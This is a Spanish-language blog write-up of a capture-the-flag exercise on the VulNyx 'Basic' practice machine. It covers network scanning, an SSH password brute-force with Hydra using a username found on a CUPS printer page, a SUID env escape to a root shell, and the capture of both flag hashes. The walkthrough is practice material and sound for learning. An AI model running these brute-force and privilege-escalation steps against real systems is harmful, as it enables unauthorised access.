Hackeado por su impresora

Cuando estoy aburrido me pongo a hacer ejercicios de hacking ético. A veces lo hago con mis propios equipos, otras veces con máquinas de práctica como Metasploitable 2 o Vulnyx y, otras veces, en sistemas vulnerables pero sin causar ningún daño 😉 Hoy les voy a enseñar a hackear la máquina Basic de VulNyx en la cual el usuario es hackeado por su impresora.


A ver, no es que al usuario le hackeen la impresora, que desde luego también se puede. Lo que ocurre es que un dato hallado en la configuración de un servicio de impresión nos permite halar el hilo y obtener las credenciales de acceso. Para este ejercicio necesitaremos lo siguiente:

  1. Kali Linux.
  2. Nmap (viene en Kali).
  3. Hydra (Ídem).
  4. SSH (Ídem)
  5. Máquina virtual Basic de VulNyx (descargar).

Procedimiento.

Lo primero será conocer nuestra interfaz de red y nuestra IP local. Abrimos una terminal en nuestro Kali Linux y usamos la orden: ifconfig. En mi caso obtengo que mi interfaz de red es la eth0. Sabiendo esto ya puedo escanear mi red para ver los equipos conectados. El comando a usar será: sudo arp-scan -I eth0 --localnet. Ustedes pondrán, cada uno, su respectiva interfaz. La respuesta fue:

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1  XX:XX:XX:XX:XX:XX (Unknown)
192.168.1.22 XX:XX:XX:XX:XX:XX (Unknown)
192.168.1.54 08:00:d7:@@:d7:d7 (Unknown)*Modificado.

La IP terminada en .54 corresponde a la máquina Vulnyx. Ahora usaremos Nmap para ver los puertos abiertos y los servicios que corren. El comando inicial será: nmap -p- -T5 -n -v 192.168.1.54. La respuesta fue:

Discovered open port 80/tcp  on 192.168.1.54
Discovered open port 22/tcp  on 192.168.1.54
Discovered open port 631/tcp on 192.168.1.54

PORT STATE SERVICE
22/tcp  open ssh
80/tcp  open http
631/tcp open ipp
MAC Address: 08:00:d7:@@:d7:d7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Ahora voy a correr el comando: nmap -n -Pn -sV -p22,80,631 192.168.1.54 para que solo escanee los puertos indicados y busque las versiones de cada servicio que está corriendo. La respuesta fue:

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
| 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp  open   http     Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open   ipp      CUPS 2.3
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1
| http-robots.txt: 1 disallowed entry 
MAC Address: 08:00:d7:@@:d7:d7 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Interesante. El puerto 22/tcp lo trabajé en un post anterior; el puerto 80/tcp me indica que está corriendo un servicio web y, el puerto 631, que corresponde a IPP (Internet Printing Protocol) me dice que corre un servicio para impresión móvil y en la nube. Este es el hilo que voy a seguir.

Si con el navegador voy a la dirección http://192.168.1.54:631/ veo que me lleva a un servidor de CUPS (Common Unix Printing System). Es un sitio con información general del servicio. Así se ve la página:


Hackeado por su impresora
http://192.168.1.54:631 – Ustedes usarán la IP de su máquina VulNyx.

Navego por el sitio que está lleno de información sobre el servicio IPP. En general nada de interés. Sin embargo, en la última pestaña del menú superior, la pestaña impresoras, encuentro un equipo Epson y un nombre de usuario: dimitri_printer dimitri’s printer.



Con el nombre de usuario intenté conectarme vía SSH usando Hydra y el diccionario rockyou.txt. El comando fue el siguiente: hydra ssh://192.168.1.54 -l dimitri -P /usr/share/wordlists/rockyou.txt -t 60 -f. Y la respuesta fue:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-20 15:14:51
[DATA] max 60 tasks per 1 server, overall 60 tasks, 14344399 login tries (l:1/p:14344399), ~239074 tries per task
[DATA] attacking ssh://192.168.1.54:22/
[STATUS] 448.00 tries/min, 448 tries in 00:01h, 14343988 to do in 533:38h, 23 active
[22][ssh] host: 192.168.1.54 login: dimitri password: mememe
[STATUS] attack finished for 192.168.1.54 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-20 15:16:33

En un poco menos de 2 minutos obtuvimos el password: mememe. Ahora me conecto vía SSH con el comando: ssh [email protected] (ustedes usarán su IP). La terminal me pide la contraseña, se la doy y ya me encuentro dentro de la máquina.

Hago un ls y encuentro un archivo llamado user.txt. Lo leo con el comando cat user.txt y la respuesta es:

dimitri@basic:~$ ls
user.txt
dimitri@basic:~$ cat user.txt 
f17d2f67c468d15600d8fc0b2ebc1d8c

El string que puse en negrita es nuestra primera bandera (Capture The Flag – CTF). Ahora buscaré escalar privilegios para convertirme en root. Lo que hice fue buscar los permisos SUID, un permiso que permite a un usuario ejecutar un archivo con los permisos del propietario del archivo, en lugar de los suyos propios. El comando usado fue: find / -perm -4000 -exec ls -la {} \; 2>/dev/null. Y la respuesta fue:

dimitri@basic:~$ find / -perm -4000 -exec ls -la {} \; 2>/dev/null
-rwsr-xr-x 1 root root 48480 sep 24 2020 /usr/bin/env
-rwsr-xr-x 1 root root 55528 ene 20 2022 /usr/bin/mount
-rwsr-xr-x 1 root root 71912 ene 20 2022 /usr/bin/su
-rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 35040 ene 20 2022 /usr/bin/umount
-rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 481608 sep 24 2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 51336 jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 19040 ene 13 2022 /usr/libexec/polkit-agent-helper-1

Veo que el usuario tiene esos permisos. Para convertirme en root usaré el primer hallazgo: el binario env. El comando usado fue el siguiente: /usr/bin/env /usr/bin/bash -p. Y la respuesta fue:

dimitri@basic:~$ /usr/bin/env /usr/bin/bash -p
bash-5.1# whoami
root
bash-5.1#

Soy root. Como al principio supe que se trataba de una máquina GNU/Linux Debian, y me encuentro en el folder del usuario dimitri (/home/dimitri), sé que debo ir dos pasos atrás para ver el árbol de directorios. Eso lo hago con cd .. Luego, listo el árbol con el comando ls -l y obtengo:

total 60
lrwxrwxrwx 1 root root 7 ene 15 2023 bin -> usr/bin
drwxr-xr-x 3 root root 4096 oct 26 2023 boot
drwxr-xr-x 17 root root 3140 ene 20 15:30 dev
drwxr-xr-x 80 root root 4096 ene 20 15:31 etc
drwxr-xr-x 3 root root 4096 oct 26 2023 home
lrwxrwxrwx 1 root root 31 oct 26 2023 initrd.img -> boot/initrd.img-5.10.0-26-amd64
lrwxrwxrwx 1 root root 31 oct 26 2023 initrd.img.old -> boot/initrd.img-5.10.0-20-amd64
lrwxrwxrwx 1 root root 7 ene 15 2023 lib -> usr/lib
lrwxrwxrwx 1 root root 9 ene 15 2023 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 ene 15 2023 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 ene 15 2023 libx32 -> usr/libx32
drwx------ 2 root root 16384 ene 15 2023 lost+found
drwxr-xr-x 3 root root 4096 ene 15 2023 media
drwxr-xr-x 2 root root 4096 ene 15 2023 mnt
drwxr-xr-x 2 root root 4096 ene 15 2023 opt
dr-xr-xr-x 149 root root 0 ene 20 15:30 proc
drwx------ 3 root root 4096 oct 26 2023 root
drwxr-xr-x 19 root root 560 ene 20 21:22 run
lrwxrwxrwx 1 root root 8 ene 15 2023 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 ene 15 2023 srv
dr-xr-xr-x 13 root root 0 ene 20 15:30 sys
drwxrwxrwt 11 root root 4096 ene 20 21:39 tmp
drwxr-xr-x 14 root root 4096 ene 15 2023 usr
drwxr-xr-x 12 root root 4096 oct 26 2023 var
lrwxrwxrwx 1 root root 28 oct 26 2023 vmlinuz -> boot/vmlinuz-5.10.0-26-amd64
lrwxrwxrwx 1 root root 28 oct 26 2023 vmlinuz.old -> boot/vmlinuz-5.10.0-20-amd64
bash-5.1#

Ahora ingreso al directorio root y listo su contenido con el comando: cd root && ls -l. La respuesta me arroja que al interior del directorio hay un archivo llamado root.txt. Lo leo con el comando cat root.txt y obtengo la segunda bandera:

bash-5.1# cd root && ls -l
total 4
-r-------- 1 root root 33 oct 26 2023 root.txt
bash-5.1# cat root.txt
551df067bd06f13f1c092743493de034
bash-5.1#

Y eso es todo. Este usuario fue hackeado por su impresora. Esta máquina es básica y nos sirve para practicar y para entretenernos en días aburridos. Espero les sirva. Hasta la próxima.

Categorías: G33ks, GNU / Linux, Hacking Ético
J. Inversor

Escrito por:J. Inversor Otros posts del autor

Hackear es un acto noble y altruista porque trae a la existencia la multiplicidad inagotable de todos los códigos, sean naturales, sociales, computacionales o poéticos.